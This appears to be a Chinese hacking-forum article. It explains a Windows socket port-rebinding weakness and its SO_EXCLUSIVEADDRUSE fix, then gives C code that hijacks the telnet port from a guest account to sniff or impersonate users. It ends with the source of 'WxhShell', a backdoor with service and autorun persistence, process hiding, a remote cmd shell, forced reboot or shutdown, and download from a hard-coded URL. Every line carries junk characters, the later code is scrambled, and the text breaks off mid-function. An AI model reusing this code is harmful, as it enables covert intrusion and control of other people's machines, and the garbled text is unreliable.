在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
2{|
U s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
V`G)8?% Vy WSW aq\9]8 saddr.sin_family = AF_INET;
ro|dB X<vv: saddr.sin_addr.s_addr = htonl(INADDR_ANY);
%dhnp9' X3<<f`X bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
dl;^sn0s n;/yo~RR 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
OqHD=D[ wRi!eN? 这意味着什么?意味着可以进行如下的攻击:
-]A,SBs GbBcC#0 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
w)5eD+n\- &,3.V+Sz 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
|r%6;8A]i cQA;Y!Q# 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
k`'^e/ .ie \3q) 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Xj.6A,}^ qMmh2a& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
yI)~- E. OF2*zU7M 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
3K_J"B*7 h/QZcA 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
65)/|j+ |9@?8\ #include
>#)^4-e #include
!QSL8v@c #include
Jx.Jx~ #include
"tn]s>iAd= DWORD WINAPI ClientThread(LPVOID lpParam);
Z ZX|MA! int main()
1<Qb"FN!2 {
[59_n{S 1 WORD wVersionRequested;
5)AMl) DWORD ret;
&Plc WSADATA wsaData;
[y W0U:m BOOL val;
X8GIRL)lJ SOCKADDR_IN saddr;
)8!""n~ SOCKADDR_IN scaddr;
J
XPE9uH int err;
BwEO2a{ SOCKET s;
~]O~a}]g( SOCKET sc;
1\$xq9 int caddsize;
W{*U#:Jx1 HANDLE mt;
wC}anq>> DWORD tid;
&) T5V wVersionRequested = MAKEWORD( 2, 2 );
J)"2^?!&B err = WSAStartup( wVersionRequested, &wsaData );
l*e*jA_>:7 if ( err != 0 ) {
a[1^)=/DM printf("error!WSAStartup failed!\n");
5.q2<a : return -1;
g\,pZ]0i }
>h(n8wTP saddr.sin_family = AF_INET;
+ZQf$@+ bLhTgss]( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
;w a-\Z l#Ipo5= saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
9l]+rs+ saddr.sin_port = htons(23);
HcavA{H if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
}i ^]uW*h {
tMR&>hM printf("error!socket failed!\n");
NhU~'k return -1;
h.l^f>,/ }
[U5[;BNRD val = TRUE;
|k\4\aLj //SO_REUSEADDR选项就是可以实现端口重绑定的
_)"-zbh}{ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
SDwTGQ/0 {
^KM' O8 printf("error!setsockopt failed!\n");
-Wd2FD^x return -1;
&CpxD."8x }
G%jgr"]\z //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Hbn%CdDk1 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
"jb`KBH%" //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
M%92^;|` #^|y0:
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
NjrF":'Y {
@n"7L2wY ret=GetLastError();
m9 o{y6_j* printf("error!bind failed!\n");
T~8= =Z{[ return -1;
p.A_,iE }
UyTsUkY listen(s,2);
6!*be|<& while(1)
IW?).%F {
U5\^[~vW caddsize = sizeof(scaddr);
DvB!-|ek //接受连接请求
O2g9<H sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
;h<(vc3@f if(sc!=INVALID_SOCKET)
zo6|1xq {
z$4g9 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
w$[&ejFb if(mt==NULL)
8Wqh 8$ {
K|,P printf("Thread Creat Failed!\n");
$P&{DOiKS break;
#.L9/b(
}
ZP~Mgz{f }
wI8 CloseHandle(mt);
\@&oK2f }
"\cDSiD closesocket(s);
R/ix,GC WSACleanup();
CT1@J-np return 0;
'9@S }
p!B&&)&db DWORD WINAPI ClientThread(LPVOID lpParam)
;)$bhNFHx {
o&0fvCpW SOCKET ss = (SOCKET)lpParam;
;-sZaU; SOCKET sc;
FjR/_GPo6 unsigned char buf[4096];
E6JfSH# SOCKADDR_IN saddr;
5.! OC5tO long num;
#{K}o} DWORD val;
0)F.Y,L DWORD ret;
Z.'j7(tu //如果是隐藏端口应用的话,可以在此处加一些判断
QOiPDu=8z //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
\kWL:uU saddr.sin_family = AF_INET;
(+uM |a saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
X
.,Lmh saddr.sin_port = htons(23);
W>TG!R 5 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0,~||H{ {
~wYGTm=(n printf("error!socket failed!\n");
x3DUz return -1;
,2oF t\`.r }
Voy1 val = 100;
6$/Z.8 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Q\Wh]=} {
mxD]`F ret = GetLastError();
2iM]t&^<+ return -1;
K|L&mL&8 }
vT@*o=I if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
idsBw!DB {
)|3BS` ret = GetLastError();
J([Y4Em5 return -1;
Y*VF1M,2_ }
:m.6a4vx if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
)R6h
1 {
=z>d GIT1 printf("error!socket connect failed!\n");
+FomAs1*f closesocket(sc);
jkAWRpOc) closesocket(ss);
]31>0yj[Q return -1;
4.Kl/b; }
9*~bAgkWI while(1)
^^,cnDlm {
u00w'=pe) //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
s.|OdC>U = //如果是嗅探内容的话,可以再此处进行内容分析和记录
OSoIH`tA //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
LV2#w_^I num = recv(ss,buf,4096,0);
|7%has3" if(num>0)
ncGt-l<9 send(sc,buf,num,0);
#`]`gNB0Yg else if(num==0)
ej91)3AO break;
J.;!l num = recv(sc,buf,4096,0);
OQ(w]G0LP if(num>0)
+ Vv+<M send(ss,buf,num,0);
lbs0i else if(num==0)
5Ve`j,`=< break;
hGU
m7 }
cN% r\ closesocket(ss);
)J^5?A closesocket(sc);
@7HHi~1JK return 0 ;
1X5MknA }
=kzuU1s G&Fe2&5!w >\br8=R ==========================================================
B4@1WZn<8 MO^Q 8v 下边附上一个代码,,WXhSHELL
^>wlj
&x?m5%^l ==========================================================
+D+v j|fn VLPPEV-u #include "stdafx.h"
2Tp@;[!3 gmqA 5W~y #include <stdio.h>
&]"Z x0t5% #include <string.h>
'XJqh|G #include <windows.h>
LZtO Q__B) #include <winsock2.h>
&|-jU+r}B #include <winsvc.h>
|LV}kG(2 #include <urlmon.h>
*I:a\o~$[ C/?x`2' #pragma comment (lib, "Ws2_32.lib")
FuC#w 9_ #pragma comment (lib, "urlmon.lib")
mzf~qV^T "D,}| #define MAX_USER 100 // 最大客户端连接数
&=*sN` #define BUF_SOCK 200 // sock buffer
r2%Qk #define KEY_BUFF 255 // 输入 buffer
+~K)
~ %i6/=
'u #define REBOOT 0 // 重启
EtnuEU #define SHUTDOWN 1 // 关机
l{I.l 3/N~`!zeX #define DEF_PORT 5000 // 监听端口
IM$ d~C Wr3z%1 #define REG_LEN 16 // 注册表键长度
1%$t;R #define SVC_LEN 80 // NT服务名长度
=;"e Z `pb=y} // 从dll定义API
D\^mh{q( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
5BJn_< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
U?%T~! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
z"nMR_TTu typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
HV&i! M@T U5
ia| V // wxhshell配置信息
cG"wj$'w struct WSCFG {
;V?3Hwl int ws_port; // 监听端口
2FN E ;y( char ws_passstr[REG_LEN]; // 口令
Cxd^i int ws_autoins; // 安装标记, 1=yes 0=no
h,\5C/ char ws_regname[REG_LEN]; // 注册表键名
aX,6y1 char ws_svcname[REG_LEN]; // 服务名
qeDXG char ws_svcdisp[SVC_LEN]; // 服务显示名
5O(U1
* char ws_svcdesc[SVC_LEN]; // 服务描述信息
%I=/
y char ws_passmsg[SVC_LEN]; // 密码输入提示信息
u4tv=+jh int ws_downexe; // 下载执行标记, 1=yes 0=no
Tn"@u&P
* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
7{tU'`P> char ws_filenam[SVC_LEN]; // 下载后保存的文件名
W|Cs{rBc? 99\lZ{f( };
ov<vSc<u O7]kcA // default Wxhshell configuration
@Q7^caG struct WSCFG wscfg={DEF_PORT,
:q >)c] "xuhuanlingzhe",
}hE!0q~MfM 1,
2g~W})e "Wxhshell",
EQe$~}[ "Wxhshell",
O5MV&Zb( "WxhShell Service",
"/G]M& "Wrsky Windows CmdShell Service",
ef7 BG( "Please Input Your Password: ",
wV\7 1,
Fh/psd "
http://www.wrsky.com/wxhshell.exe",
Q\W)} "Wxhshell.exe"
foUBMl };
HZ2f|Y|T :%gM
Xsb // 消息定义模块
p"7]zq]' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
O=vD6@QI char *msg_ws_prompt="\n\r? for help\n\r#>";
PMi.)%++ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
{Hie%2V char *msg_ws_ext="\n\rExit.";
*~~J1.ja> char *msg_ws_end="\n\rQuit.";
Dm%Q96*VAq char *msg_ws_boot="\n\rReboot...";
u+y3(0 char *msg_ws_poff="\n\rShutdown...";
vmv6y*qU char *msg_ws_down="\n\rSave to ";
0 .UN baBPf{< char *msg_ws_err="\n\rErr!";
Rh!m1Q(- char *msg_ws_ok="\n\rOK!";
2Lytk OMf <isU D6TC char ExeFile[MAX_PATH];
._]*Y`5)d int nUser = 0;
.F'Cb)Z HANDLE handles[MAX_USER];
Aj]/A int OsIsNt;
+f$
{r7 1,:QrhC SERVICE_STATUS serviceStatus;
,k1ns?i9KH SERVICE_STATUS_HANDLE hServiceStatusHandle;
6-~ZOMlV G)?j(El
// 函数声明
<00nu'Ex1v int Install(void);
R_9M-RP6* int Uninstall(void);
]*U+nG int DownloadFile(char *sURL, SOCKET wsh);
#)m[R5g( int Boot(int flag);
62kA(F0e, void HideProc(void);
XTA:Y7"O int GetOsVer(void);
H2xDC_Fs int Wxhshell(SOCKET wsl);
V*r/0|vd void TalkWithClient(void *cs);
}+}Cl T int CmdShell(SOCKET sock);
L{GlDoFk int StartFromService(void);
Z<W f/ int StartWxhshell(LPSTR lpCmdLine);
;s #I b_ i1X!G|Awfv VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
P'[ISGt VOID WINAPI NTServiceHandler( DWORD fdwControl );
z}iz~WZ fu{v(^ // 数据结构和表定义
vM-kk:n7f SERVICE_TABLE_ENTRY DispatchTable[] =
AHMvh 7O? {
S?zP;
iFj {wscfg.ws_svcname, NTServiceMain},
[0 rH/{ {NULL, NULL}
>sdF:(JV& };
#S]O|$&* QE pCU) // 自我安装
Xgl
%2' int Install(void)
elR1NhB|p {
-]-0]*oAp char svExeFile[MAX_PATH];
&> _aY # HKEY key;
j+>[~c;0) strcpy(svExeFile,ExeFile);
-tx%#(?wH c(29JZ // 如果是win9x系统,修改注册表设为自启动
fLeHn,*," if(!OsIsNt) {
q,_EHPc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
N?8nlrDQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
bl^pMt1fv RegCloseKey(key);
iaQfxQP1w% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
EiP N44( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
@My
RcC RegCloseKey(key);
&xvNR=K[` return 0;
E:O/=cT }
V)4?y9xZv }
\ KsKb0sM }
eA3NyL else {
Sj:c {jyJd GY5JPl // 如果是NT以上系统,安装为系统服务
xOr"3;^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
'R2*3< if (schSCManager!=0)
+3M1^: {
?v-!`J>EF# SC_HANDLE schService = CreateService
1FG"Ak}D (
@\:@_}Z`_} schSCManager,
PN=5ICT wscfg.ws_svcname,
c,]fw2 wscfg.ws_svcdisp,
yRDtPK"E- SERVICE_ALL_ACCESS,
O'(D:D? SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
*=]UWM~] SERVICE_AUTO_START,
nv(6NV SERVICE_ERROR_NORMAL,
fGW~xul_ svExeFile,
Ic^
(6 NULL,
~OLyG$JJ NULL,
,,1y0s0` NULL,
(w+SmD NULL,
7<L!" 2VB NULL
!s !el;G );
KNN$+[_;H4 if (schService!=0)
hD7vjg&Z {
!HtW~8|: CloseServiceHandle(schService);
[g}0.J`_ CloseServiceHandle(schSCManager);
In;P33'p strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
i5_l//] strcat(svExeFile,wscfg.ws_svcname);
2f{a|| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Kx BvL[/ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
xX0wn?,~ RegCloseKey(key);
{iCX?Sb return 0;
sk_xQo#Y
3 }
gxJ12'
m }
pAaNWm CloseServiceHandle(schSCManager);
W6r3v)~ }
b\kA }
kIe)ocJg qv>l return 1;
Y4lN xvY }
|VjD. ]I 5 /T#>l< // 自我卸载
hZ/p' int Uninstall(void)
7AqbfLO {
z5D*UOy5M HKEY key;
$"}[\>e*{ _ /Eg_dQ~@ if(!OsIsNt) {
kY9$ M8b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
x8C
* RegDeleteValue(key,wscfg.ws_regname);
_KBa`lhE RegCloseKey(key);
.81 ~ K[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~]9EhC'l RegDeleteValue(key,wscfg.ws_regname);
cXr_,>k RegCloseKey(key);
I"QU{]|J return 0;
``@e7~F{ }
)>iPx.hVSS }
;?TM_%> }
+D[C.is>]} else {
5`lVC$cP eLV[U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ytb1h Fs if (schSCManager!=0)
fQ-IM/z {
*+00 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
r%>7n,+o if (schService!=0)
OHnsfXO_V {
kbbHa_;aqV if(DeleteService(schService)!=0) {
rt?*eC1b+Z CloseServiceHandle(schService);
aZ|S$-} CloseServiceHandle(schSCManager);
MX+gc$Y
O return 0;
?(}~[ }
h&!$ `) CloseServiceHandle(schService);
^&c &5S} }
!t{ CloseServiceHandle(schSCManager);
JW=q'ibR }
pX$X8z% }
"`4M4`' ,% .)mf return 1;
v`Ja Bn }
[A]
+Azc t1$pl6&, // 从指定url下载文件
I*g[Y= int DownloadFile(char *sURL, SOCKET wsh)
/YvwQ {
jfam/LL{V HRESULT hr;
Adfnd char seps[]= "/";
{d)L0KXK char *token;
hvA|d=R( char *file;
m%.[|sZ3EM char myURL[MAX_PATH];
gO@LJ char myFILE[MAX_PATH];
uu>R)iTQ%S Zw<<p|{)< strcpy(myURL,sURL);
?+%bEZ` token=strtok(myURL,seps);
; 3sjTqD while(token!=NULL)
FF|M7/[~ {
[o7Qr?RN file=token;
=+[`9 token=strtok(NULL,seps);
F[)tg#}@G }
g&8-X?^Q tbfwgK GetCurrentDirectory(MAX_PATH,myFILE);
6uk}4bdvq strcat(myFILE, "\\");
TQ%F\@" strcat(myFILE, file);
+Z=y/wY send(wsh,myFILE,strlen(myFILE),0);
=8"xQ>D62 send(wsh,"...",3,0);
r029E- hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
0< }BSv if(hr==S_OK)
,,Ivey!kL return 0;
A>RK3{7 else
}gE^HH' return 1;
<7gv<N6BQf "x0KiIoPk }
?N@[R]; zH#urF6< // 系统电源模块
xX Dj4j, int Boot(int flag)
[81q 0@ {
[F{P0({%? HANDLE hToken;
e nw*[D ! TOKEN_PRIVILEGES tkp;
SO<9?uk. hrXk 7}9 if(OsIsNt) {
&;<'AF OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
QHnC(b LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
j6L (U~% tkp.PrivilegeCount = 1;
8]bLp tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
%u2",eHCB AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
4[Wwm if(flag==REBOOT) {
hZ"Sqm] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Pa$"c?QUy return 0;
::-*~CH) }
gyT0h?xDt else {
;Sp/N4+ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
H6/gRv@ return 0;
FC]n?1?<( }
8==_43 }
F6>oGmLy else {
YgjN*8w\ if(flag==REBOOT) {
9o3? if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
k-)Ls~#+ return 0;
2h)Qz+|7 }
}KEr@h,N else {
*u < ZQq if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
+/" \.wYv return 0;
bU/YU0ZIT }
'T;;-M3* }
-D%mVe)&+ Ry? f; s return 1;
~mv5{C }
N:Ir63X*# ksUF(lYk // win9x进程隐藏模块
Q^* 33 void HideProc(void)
.>LJ(Sx9b {
Z'|k M! \l`{u)V HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
bL+}n8B if ( hKernel != NULL )
Q\btl/? {
Wr'1Y7z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
tZu1jBO_Q4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
i)$<j!L FreeLibrary(hKernel);
Wv~&Qh} }
x@[6u Lg|d[*;'7 return;
/w2-Pgm-[\ }
,lFp4 C m1xR uj] // 获取操作系统版本
'ud[#@2 int GetOsVer(void)
QbY@{"" ` {
FPM l;0{ OSVERSIONINFO winfo;
Iv*u#]{t winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
wz BI<0]z GetVersionEx(&winfo);
QGE0pWL-a if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
sa"}9IE*8 return 1;
\0&F'V else
Sl@Ucc31 return 0;
z<.?8bd }
)lq+Gv[%F q1m{G1W
n // 客户端句柄模块
^`Hb7A(
int Wxhshell(SOCKET wsl)
aK
3'u {
77ztDQDtM SOCKET wsh;
Ds#BfP7a struct sockaddr_in client;
,J:Ro N_: DWORD myID;
q>5j (,6F p./0N. while(nUser<MAX_USER)
aK7}} {
!%.=35NS@E int nSize=sizeof(client);
i6g=fx6j* wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
v-/vj/4> if(wsh==INVALID_SOCKET) return 1;
e^$JGh2 15r=d handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
{w7/M]m- if(handles[nUser]==0)
ExeZj8U closesocket(wsh);
\NKQ:F1 else
FW|_8q?}< nUser++;
9PMIF9" }
|--Jd$ dj WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
qwO@>wQ}~ N,3iSH=cN[ return 0;
?-)v{4{s }
P%N)]b<c* qB&Je$_uh // 关闭 socket
dP`B9>r void CloseIt(SOCKET wsh)
sRqecG(n {
|68k9rq closesocket(wsh);
i4nFjz nUser--;
tBX71d
T ExitThread(0);
s[t<2)i }
bvZ:5M G8!|Lo // 客户端请求句柄
Lw%_xRn) void TalkWithClient(void *cs)
[^^ Pl:+ {
vu#ZLq +w"?q'SnF SOCKET wsh=(SOCKET)cs;
oYt 34@{? char pwd[SVC_LEN];
C\B4Uu6q char cmd[KEY_BUFF];
1 vtC4` char chr[1];
8m=O408Q int i,j;
OmS8cSYGc ncUS8z while (nUser < MAX_USER) {
gga}mqMv= yc`*zLWh if(wscfg.ws_passstr) {
\ Ce*5h if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
J_.cC //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
bdG@%K', //ZeroMemory(pwd,KEY_BUFF);
iRbe$v&N i=0;
w~ON861 while(i<SVC_LEN) {
, 2xv N"suR}9% // 设置超时
'2ZvK fd_set FdRead;
i'4.w?O Z struct timeval TimeOut;
JodD6;P FD_ZERO(&FdRead);
Ks@cwY FD_SET(wsh,&FdRead);
s~9n13z TimeOut.tv_sec=8;
Vu=/<;-N TimeOut.tv_usec=0;
C,GZ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
t,IOq[Vtk if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
8ZLHN', .{} 8mFi1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
qZ&~&f|>e pwd
=chr[0]; v^vi *c
if(chr[0]==0xd || chr[0]==0xa) { 4d-(:
pwd=0; egURRC!
break; v"Ax'()
} C/'w
i++; 44|tCB`
}
>]~|Nf/i
&I[` .:NJ
// 如果是非法用户,关闭 socket zn7)>cQ905
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bI8uw|c
} ,isjiy
J
S#$Kmm
|
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
E)ZL+(
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /jGV[_Q=P
>#k-
~|w
while(1) { ^YropzHZ4E
o?m/
ZeroMemory(cmd,KEY_BUFF); h /^bRs`;
f-71`Pyb
// 自动支持客户端 telnet标准 Qh(X7B
j=0; FROC/'
while(j<KEY_BUFF) { PP>6
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K,$rG%czX
cmd[j]=chr[0]; n|LpM .
if(chr[0]==0xa || chr[0]==0xd) { l {>j8Ln
cmd[j]=0; -]H~D4ng
break; " aCAA#$J
} e,MsF4'
j++; ;R[3nb9%
} kS:#|yY8%
?Rx(@
// 下载文件 3RT\G0?8f
if(strstr(cmd,"http://")) { *8/Xh)B;
send(wsh,msg_ws_down,strlen(msg_ws_down),0); lg~7[=%k#
if(DownloadFile(cmd,wsh)) $|.8@
nj
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
^B%=P
else l-l7jq]R
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V3cKbk7~
} nS*Y+Q^9a
else { \ "$$c
)<:TpMdUk
switch(cmd[0]) { .\glNH1d
T9H*]LxK
// 帮助 L/V^ #$
case '?': { qS FtQ4
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jWv'`c
break; Np/\}J&IF
} Zo yO[#
// 安装 VL$
T
case 'i': { $
VP1(C
if(Install()) OmO#} k<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G7Sw\wW
else "cPg_-n
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u0 tlf
break; #c>GjUJ.w
} $t(v `,
// 卸载 6AGZ)gX
case 'r': { ,7]hjf_h
if(Uninstall()) A>1$?A8Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); JHt
U"
else y~@zfJ5/^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kbf(P95+uL
break; AXW.`~ 4
} &|~7`
// 显示 wxhshell 所在路径 /uj^w&l#
case 'p': { ]myRYb5Z
char svExeFile[MAX_PATH]; J-5>+E,nZ
strcpy(svExeFile,"\n\r"); 8Auek#[
strcat(svExeFile,ExeFile); !}#> ky!t
send(wsh,svExeFile,strlen(svExeFile),0); yJq< &g
break; y]m:
{
} AcPLJ!y
// 重启 Aj4 a-vd.
case 'b': { `KFEzv
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8b)WOr6n
if(Boot(REBOOT)) JhFbze>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |JxVfX8^
else { KBmO i
closesocket(wsh); %
D
ExitThread(0); ]VRa4ZB{u
} =GPXuo
break; 3k`Q]O=OU
} |Ev|A9J!
// 关机 d8wVhZKI"
case 'd': { &aLTy&8Fv
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2@<_,'
if(Boot(SHUTDOWN)) 49~d6fH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H@=oVyn/
else { ZH_$Q$9
closesocket(wsh); (?7=,A7^
ExitThread(0); ^w60AqR8
} HcsVq+
break; j|k/&q[St
} s)a-ky(
// 获取shell 6]?mjG6
case 's': { >v.fH6P,}
CmdShell(wsh); P1Hab2%+
closesocket(wsh); wtY)(ka
ExitThread(0); sFTAE1|
break; EfrQ~`\
}
,Vhve'=*2
// 退出 N3n]
case 'x': { OlOOg
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g
X!>ef
CloseIt(wsh); x#D%3v"l_*
break; p"ZvA^d\
} nF <K84
// 离开 uL`#@nI
case 'q': { SIJ7Y{\.
send(wsh,msg_ws_end,strlen(msg_ws_end),0); f+cb83}n]
closesocket(wsh); QxYm3x5
WSACleanup(); t0m;tb bg
exit(1); q? '4&
break; "GO!^ZG]
} da7"Q{f+
} mqZH<.mn
} hCcI]#S&
/iU<\+ H
// 提示信息 TTz=*t+D
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]y_:+SHc
} @7twe;07r
} -tj#BEC[H(
k$3pmy*
return; JU?;Kq9R
} >^s2$@J?p
_QL|pLf-
// shell模块句柄 u}@N
Qeg
int CmdShell(SOCKET sock) ba|xf@=&
{ ,8@<sFB'
STARTUPINFO si; D&%8JL
ZeroMemory(&si,sizeof(si)); o08WC'bX
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |g&V? lI
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Lv%3 jj
PROCESS_INFORMATION ProcessInfo; 4z0gyCAC A
char cmdline[]="cmd"; 3K
&637
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~T_|?lU`R
return 0; M\R+:O&
} IVNH.g'
r%U6,7d=)
// 自身启动模式 {r_HcI(h
int StartFromService(void) 0;bdwIP3
{ ,a #>e
typedef struct nn7LL+h
{ Lh[0B.g<
DWORD ExitStatus; u cpU$+
DWORD PebBaseAddress; w2
Y%yjCV
DWORD AffinityMask; DBAyc#
DWORD BasePriority; 46>rvy.r
ULONG UniqueProcessId; "iSY;y o
